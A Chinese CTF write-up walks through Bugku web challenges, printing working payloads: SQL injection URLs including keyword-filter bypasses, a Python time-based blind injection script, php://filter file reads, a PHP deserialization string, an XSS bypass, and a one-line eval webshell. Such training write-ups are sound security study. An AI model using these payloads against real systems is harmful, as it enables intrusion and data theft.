0x01:web2

直接等它的js特效完了以后查看页面源代码

1
KEY{Web-2-bugKssNNikls9100}

0x02:文件上传测试

请上传php文件,那么我们先传一个php文件试试

提示非图片文件
那么我们先将php文件后缀改为jpg,然后抓包改为.php

得到flag

1
Flag:42e97d465f962c53df9549377b513c7e

0x03:计算器

题目给了一个框用于填写计算的答案,但是只能填写一位数,填写不了正确答案

很有可能是再前端限制了,直接f12看一下:

把input标签的maxlength值改大一点就可以了,然后输入答案得到flag

1
flag{CTF-bugku-0032}

0x04:web基础$_GET


直接传一个get参数,值等于flag就可以了

1
flag{bugku_get_su8kej2en}

0x05:web基础$_POST


用hackbar,直接post一个what=flag

1
flag{bugku_get_ssseint67se}

0x06:矛盾


num不能为数字,num又要等于1,利用php的弱类型转换,1a==1

1
flag{bugku-789-ps-ssdf}

0x07:web3

进去后不停的弹窗,禁止弹窗后查看页面源代码,发现一段Unicode编码

直接在线unicode转ascii码

1
KEY{J2sa42ahJK-HS11III}

0x08:sql注入测试

先试一下直接加单引号:

没有任何反应,那么再测试一下宽字节注入:
?id=1%df%27
存在宽字节注入

继续猜字段数
order by 2正常

1
http://103.238.227.13:10083/?id=1 %df%27 order by 2 %23

order by 3出错

1
http://103.238.227.13:10083/?id=1 %df%27 order by 3 %23


那么有三个字段,下一步测试回显位:

1
http://103.238.227.13:10083/?id=1 %df%27 union select 11,22 %23


两个位置都能回显,那么我们随便用哪一个来显示我们要查出来的数据,为了防止表名和字段名相同引起的问题,我们的表名最好加上反引号

1
http://103.238.227.13:10083/?id=1 %df%27 union select string,22 from `key` where id=1%23


1
KEY{ 54f3320dc261f313ba712eb3f13a1f6d}

0x09:域名解析


直接在hosts文件里面加一条解析规则

然后访问flag.bugku.com得到flag

1
KEY{DSAHDSJ82HDS2211}

0x0a:sql注入1

题目提示过滤了关键字

但是在查询之前调用了strip_tags()函数来过滤html标签
那么我们可以用如下形式来绕过黑名单关键字过滤

1
an<>d

经过strip_tags()函数变为

1
and

看代码是数字型注入,先测试:and 1=1

1
http://103.238.227.13:10087/?id=1 an<>d 1=1 %23


页面返回正常
再测试:and 1=2

1
http://103.238.227.13:10087/?id=1 an<>d 1=2 %23


没有返回值,说明and后面语句执行成功
再测试字段数
order by 2返回正常

1
http://103.238.227.13:10087/?id=1 o<>rder by 2 %23

order by 3返回空

1
http://103.238.227.13:10087/?id=1 o<>rder by 5 %23

所以字段数位2

再测回显位:

1
http://103.238.227.13:10087/?id=1 u<>nion s<>elect 11,22 %23


两个都是回显位,那么随便用哪一个来显示数据
查找key表id=1的hash字段的值

1
http://103.238.227.13:10087/?id=1 un<>ion selec<>t hash,22 fro<>m `key` whe<>re id=1 %23


1
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

0x0b:你必须让它停下来

进去后页面就不停的刷新
那么我们用burp抓包看看,在http history里面我们可以看到它加载了很多的图片,那么我们就看看这些图片

我们发现只有10.jpg会加载处图片来,于是将其发送到repeater然后go一下看看源码,得到flag

1
flag{dummy_game_1s_s0_popular}

0x0c:本地包含


我们可以看到我们传入hello的值给了变量a,而变量a又在eval里面
hello的值是通过REQUEST来的,说明hello的值既可以来源于post方法,也可以来源于get方法
我们想要得到flag.php的文件内容,这里又刚好有一个var_dump,那么我们可以用file函数来读取flag.php的文件内容,file函数可以把文件内容读取到数组中

1
http://120.24.86.145:8003/?hello=file('flag.php')

当然我看网上其他人的做法基本上都是先闭合前面的var_dump,然后再自己构造一个print_r,,,,或者再构造一个include一个post或者get变量,然后结合filter来读取文件。其实根本不必这么麻烦
当然在eval中,我们可以执行多条表达式,这就是网上普遍解法的依据

1
eval(表达式1;表达式2;);

0x0d:变量1


这道题考的是全局变量

1
2
$args=GLOBALS
$$args=$GLOBALS


1
flag{92853051ab894a64f7865cf3c2128b34}

0x0e:web5

进去后查看页面源代码,发现jsfuck

直接复制下来丢控制台

1
CTF{WHATFK}

0x0f:头等舱

进去后发现一句话,什么也没有,看了下源代码,的确什么也没有
直接抓包,看response得到flag

1
flag{Bugku_k8_23s_istra}

0x10:网站被黑

看到目录webshell,我们先扫下目录看看

发现shell.php,访问一下

需要输入密码,抓包用burp爆破

输入密码得到flag

1
flag{hack_bug_ku035}

0x11:web4

提示看看源代码里面吧
发现一段js

1
2
3
4
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

url解码一下:

1
2
3
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1)+unescape('54aa2'+p2));

后面的unescape用于对escape编码的字符串进行解码
我们可以直接这样做:

1
unescape('67d709b2b')+unescape('54aa2'+'aa648cf6e87a7114f1')


然后得到了一串字符:

1
67d709b2b54aa2aa648cf6e87a7114f1

然后我们将其提交到输入框,得到flag

1
KEY{J22JK-HS11}

0x12:flag在index里

进去后

那么就点击一下呗:

我们注意到url中的file=show.php,那么很可能存在文件读取
题目名称是flag在index里,那么我们读一下index.php文件的内容
这里要结合php://filter来读,不然读不出来

1
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php


然后再base64解码,得到flag

1
flag{edulcni_elif_lacol_si_siht}

0x13:输入密码查看flag


那么我们先生成一个五位数的字典
然后用burp爆破

得到密码13579,输入得到flag

1
flag{bugku-baopo-hah}

0x14:点击一百万次


点一下,数字就加一,看这架势是真的要点一百万次啊
查看源代码发现如下js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 0){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});

可以看出来只用向当前页面post一个clicks的值为1000000应该就可以了
那么我们构造如下语句exp

1
2
3
4
<form action="http://120.24.86.145:9001/test/" method="post">
<input type="text" name="clicks" value="1000000" hidden/>
<button>test</button>
</form>

放到自己本地的web目录或者vps上面,然后访问,得到flag

1
flag{Not_C00kI3Cl1ck3r}

0x15:备份是个好习惯

听这名字就知道是源码泄漏了
直接访问index.php.bak得到index.php的备份文件,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

很常见的考点,md5的0e漏洞,参数key被过滤了一次,直接双写绕过

1
http://120.24.86.145:8002/web16/index.php?kekeyy1=QNKCDZO&kkeyey2=s878926199a


1
Bugku{OH_YOU_FIND_MY_MOMY}

0x16:成绩单

输入一个数字会得到一张对应的成绩单,猜测可能是学号什么的

抓包看一下

可能存在post注入,发送到repeater
用and 1=1和and1=2判断后不是数字型注入

1
id = 2' order by 4%23

order by 4 返回结果

1
id = 2' order by 5%23

order by 5 不返回结果
那么字段为4,再判断一下回显位

我们这样是看不到回显位的,因为这里只能显示一行数据,id =1的结果把回显结果覆盖了
所以我们这样

1
id=-1'union select 11,22,33,44 %23


可以看到22,33,44都是回显位
那么继续查询
先查数据库名

1
id=-1'union select 11,22,33,database() %23


然后再查表名,这里最好用group_concat将所有表名都拼在一起显示在一行,后面一定要指定table_schema的值

1
id=-1'union select 11,22,33,(select group_concat(table_name,'***') from information_schema.tables where table_schema = database()) %23


很明显,flag应该在fl4g表里面
那么继续查fl4g表的字段,后面一定要指定table_name的值

1
id=-1'union select 11,22,33,(select group_concat(column_name,'***') from information_schema.columns where table_name ='fl4g') %23


得到字段名,那么直接查内容了

1
id=-1'union select 11,22,33,(select skctf_flag from `fl4g`) %23

得到flag

1
BUGKU{Sql_INJECT0N_4813drd8hz4}

0x17:秋名山老司机


每刷新一次,式子都不同
这道题感觉题目没有说清楚,我看了下别人的题解才知道算出答案后提交到哪里
这道题需要先快速算出式子的答案,然后向当前页面post一个value,值为式子答案,这个用py很简单就能实现了,脚本如下:

1
2
3
4
5
6
7
8
9
10
#encoding:utf-8
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
sess = requests.session()
html = sess.get(url).text
expr = re.search(r'(\d+[+\-*])+(\d+)', html).group()
result = eval(expr)
data={'value':result}
print (sess.post(url,data = data).text)


1
Bugku{YOU_DID_IT_BY_SECOND}

0x18:速度要快

查看源代码

在响应头发现了一点东西

base64解码看看

拿去提交不正确,这里还需要解一次码

得到一串数字,多试几次后我们会发现,每次的数字都不一样,再结合我们在页面源代码看到的,那么需要我们把得到的数字以post的方式提交
直接写一个python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
#encoding:utf-8
import requests
import base64
sess = requests.session()
url = "http://120.24.86.145:8002/web6/"
r = sess.head(url)
flag = r.headers['flag']
d1 = base64.b64decode(flag)
d1 = d1.split(':')[1]
d2 = base64.b64decode(d1)
data = {'margin':d2}
rep = sess.post(url,data = data)
print rep.text


1
KEY{111dd62fcd377076be18a}

0x19:cookies欺骗


一进去后就注意到了这个url,看起来很像任意文件读取
filename的值有点像base64编码过的,先解码看看

看来真的是任意文件读取
那么我们来读一下index.php的源码
先把文件名base64编码,不出所料一片空白

但是旁边还有一个line参数没有,我们试一下line=1:

再试一下line=2:

看来通过line参数我们每次可以读取一行的源码,我们可以直接用脚本把所有源码扒下来,当然手动扒也可以

1
2
3
4
5
6
7
#encoding:utf-8
import requests
sess = requests.session()
for i in range(1,100):
url = "http://120.24.86.145:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i)
html = sess.post(url).text
print html

得到代码后有点乱,在线美化一下后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

读懂上面文件后我们知道,直接设置cookies变量margin的值为margin,然后filename设置为keys.php就可以了

1
KEY{key_keys}

0x1a:XSS


看了半天没看出注入点是啥,然后求助了一下百度才知道有个参数id…….(对出题人无语了,参数靠猜)
这套题考的是Unicode绕过html实体编码

1
id=\u003cscript\u003ealert(_key_)\u003c\u002fscript\u003e

1
unicode:\u00 + 字符的十六进制


1
Flag:17f094325e90085b30a5ddefce34acd8

0x1b:never give up

查看源代码,发现1p.html

继续访问1p.html,当我们访问1p.html的时候会跳转到bugku.com,那么我们查看一下1p.html的源代码

1
view-source:http://120.24.86.145:8006/test/1p.html

发现一段奇怪的东西

拿去url解码一下
得到如下:

1
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"

很明显是一段base64编码,拿去base64解码一下,得到如下:

1
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

再拿去url解码一下,得到如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

分析一下,要想得到flag需要满足如下条件

1
!$_GET['id']

后面又必须$id==0,如果这里给id赋值为0的话,那么!$_GET[id]就为1了,就会exit
我们可以利用php弱类型来绕过

1
$id=test

1
!stripos($a,'.')
1
$data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

第一个条件限制了我们不能读取远程文件,我们可以用php://input来搞定
第二个限制了”111”.$b是1114的子串,而且$b的长度又要大于5且$b不是以4开头,看起来是不是很矛盾?
然而eregi函数有个缺陷,可以被%00截断,而再strlen中%00被认为是0
所以我们可以构造这样来绕过

1
$b=%0023456

最终payload如下:

1
http://120.24.86.145:8006/test/hello.php?id=test&a=php://input&b=%0023456

post数据:

1
bugku is a nice plateform!

最后得到flag

1
flag{tHis_iS_THe_fLaG}

0x1c:welcome to bugkuctf

查看源代码

代码如下:

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

那么我们就用php://filter来读一下hint.php文件内容

然后把得到的base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

看了下好像不能利用,那我们再读取index.php的源码看看

1
http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

post数据

1
welcome to the bugkuctf

然后将得到的base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

刚才再hint.php发现Flag类和__tostring方法,这里又有unserialize和直接echo对象,很明显的构造反序列化
我们先本地新建一个test.php,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Flag{//flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$obj= new Flag();
echo serialize($obj);

然后访问得到:

我们最终的exp如下:

1
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

post数据

1
welcome to the bugkuctf


1
flag{php_is_the_best_language}

0x1d:过狗一句话


1
2
3
4
<?php $poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']) ?>

访问链接,页面一片空白,再加上题目描述说送给大家过狗一句话,那么猜测是我们访问的页面就是一句话页面。
上面的代码拼凑起来就是

1
assert($_GET['s']);

assert里面的代码会被当作PHP代码来执行,我们来验证一下

1
http://120.24.86.145:8010/?s=phpinfo();


执行成功,那么我们只用执行一个一句话木马就可以getshell了

1
http://120.24.86.145:8010/?s=eval($_POST[drac]);


1
BUGKU{bugku_web_009801_a}

0x1e:字符?正则?

1
2
3
4
5
6
7
8
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

如果$IM不为false,那么就输出flag
我们直接用python的一个库xeger就可以轻松的找到符合要求的字符串,脚本如下:

1
2
3
4
5
#encoding:utf-8
from xeger import Xeger
_x = Xeger(limit=4)
out = _x.xeger("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i")
print out


1
/keyf{~key~3{{key:/L/o8keyk:]/i

刚开始我看到他highlight_file(‘2.php’);就去2.php页面了,结果得到一个假的flag

最后回到index页面

1
http://120.24.86.145:8002/web10/index.php?id=/keyf{~key~3{{key:/L/o8keyk:]/i


1
KEY{0x0SIOPh550afc}

0x1f:前女友(SKCTF)

查看源代码,然后进入code.txt页面

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

又是一个md5的0e漏洞,然后注意一下strcmp函数有个漏洞,就是当传入的数据不是字符串的时候会返回0

1
http://118.89.219.210:49162/?v1=QNKCDZO&v2=s878926199a&v3[]=1


1
SKCTF{Php_1s_tH3_B3St_L4NgUag3}

0x20:login1(SKCTF)

题目提示:sql约束攻击

sql约束攻击主要是由于服务端没有对用户名的长度限制而导致数据库截断引起的
我们直接注册一个如下的账户

1
2
admin(此处留25个以上空格)1
Aa1234

然后我们可以用

1
2
admin
Aa1234

来登录,具体的原理可以自行百度,简单来说就是注册时用select判断数据库有没有同名账户的时候没有长度限制,而insert的时候只会插入前25个字符,而select admin和select admin后面加个空格的结果一样

1
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

0x21:你从哪里来


考的伪造Referer

1
flag{bug-ku_ai_admin}

0x22:md5 collision(NUPT_CTF)


那我们输入a试试

出现false,然后爆破了半天,才发现是0e漏洞,直接传入一个md5过后是0e开头的字符串,而且不能传QNKCDZO
看了下网上这道题,感觉该给源码的
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>


1
flag{md5_collision_is_easy}

0x23:程序员本地网站

题目描述请从本地访问
题目考的是X-Forwarded-For的伪造
直接伪造如下

1
X-Forwarded-For: 127.0.0.1


1
flag{loc-al-h-o-st1}

0x24:各种绕过

打开题目获得一段源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>

考的是sha1不能正确处理数组

1
http://120.24.86.145:8002/web7/index.php?id=margin&uname[]=abc

post数据

1
passwd[]=ddd


1
flag{HACK_45hhs_213sDD}

0x25:web8

打开题目得到一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

一看到file_get_contents的值等于变量的值,我们又不知道文件内容什么的,就想到用php://input

1
http://120.24.86.145:8002/web8/?ac=123&fn=php://input

1
123

得到flag

1
flag{3cfb7a90fc0de31}

0x26:细心

题目描述:想办法变成admin

进去后没有发现什么
在看robots.txt的时候发现了一个路径

访问一下

注意到左下角的

1
if ($_GET[x]==$password)

看来很有可能要爆破密码
使用burp来爆破试试

得到密码admin
访问

1
http://120.24.86.145:8002/web13/resusl.php?x=admin


1
flag(ctf_0098_lkji-s)

0x27:求getshell


很明显的文件上传,尝试了00截断后又试了php5,phtml等等,都没绕过,忍不住看了下write up,才知道服务端估计是过滤了MIME为multipart/form-data,而比较的时候区分了大小写,所以把其中一些字母大写可以绕过
然后再用后缀名php5绕过黑名单检测

1
KEY{bb35dc123820e}

0x28:INSERT INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

分析一下代码:
IP是从X-FORWARDED-FOR头取得,然后如果有逗号的话就分割为数组取第一个,相当于过滤了逗号
然后没有任何过滤就直接拼接到insert语句中了
这里我们用时间盲注的方式来做
在sql中

1
substr(str, i, j)

等价于

1
substr(str from i for j)


1
if(expr1, expr2, expr3)

等价于

1
select case when expr1 then expr2 else expr3 end

有了上面这两个替换,我们在时间盲注的时候就可以避开逗号了
先来爆数据库名,这里sleep和timeout最好设置大一点,不然可能会因为一些其它原因导致的超时导致结果出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#encoding:utf-8
import string
import requests
string = string.ascii_letters+string.digits #a-z A-Z 0-9
url = "http://120.24.86.145:8002/web15/"
payload = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(15) else 1 end) and '1"
result = ''
for i in range(1,35):
next_position = False
for j in string:
try:
header = {'X-Forwarded-For':payload.format(str(i),j)}
res = requests.get(url,headers=header,timeout=15)
except requests.exceptions.ReadTimeout:
result += j
print result
next_position = True
break
except requests.exceptions.ConnectTimeout:
break
if not next_position:
break
print "Result:"+result


然后再爆表明,改下脚本的payload值就可以了

1
payload = "'+(select case when (substring((select group_concat(table_name) from information_schema.tables where table_schema = database()) from {0} for 1)='{1}') then sleep(15) else 1 end) and '1"


再爆字段名

1
select group_concat(column_name,'***') from information_schema.columns where table_name ='fl4g'

1
2

最后更新: 2018年08月07日 00:14

原始链接: http://drac0nids.top/2018/08/03/bugkuWEB/

× 请我吃糖~
打赏二维码